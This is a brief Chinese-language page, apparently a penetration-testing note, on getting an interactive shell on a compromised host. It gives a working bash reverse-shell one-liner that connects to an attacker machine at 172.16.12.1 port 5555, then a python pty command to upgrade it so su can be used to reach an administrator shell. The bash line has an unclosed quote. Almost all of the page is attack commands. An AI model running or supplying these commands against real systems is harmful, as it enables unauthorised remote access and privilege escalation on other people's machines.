跳到主要内容

反弹获取交互式shell

拿到一个交互式shell可以防止ssh不能连接,交互式shell可以通过su命令拿到管理员的shell

首先反弹一个shell到攻击机

bash -c 'exec bash -i &>/dev/tcp/172.16.12.1/5555 <&1

利用反弹shell执行python命令获取一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20221108120550390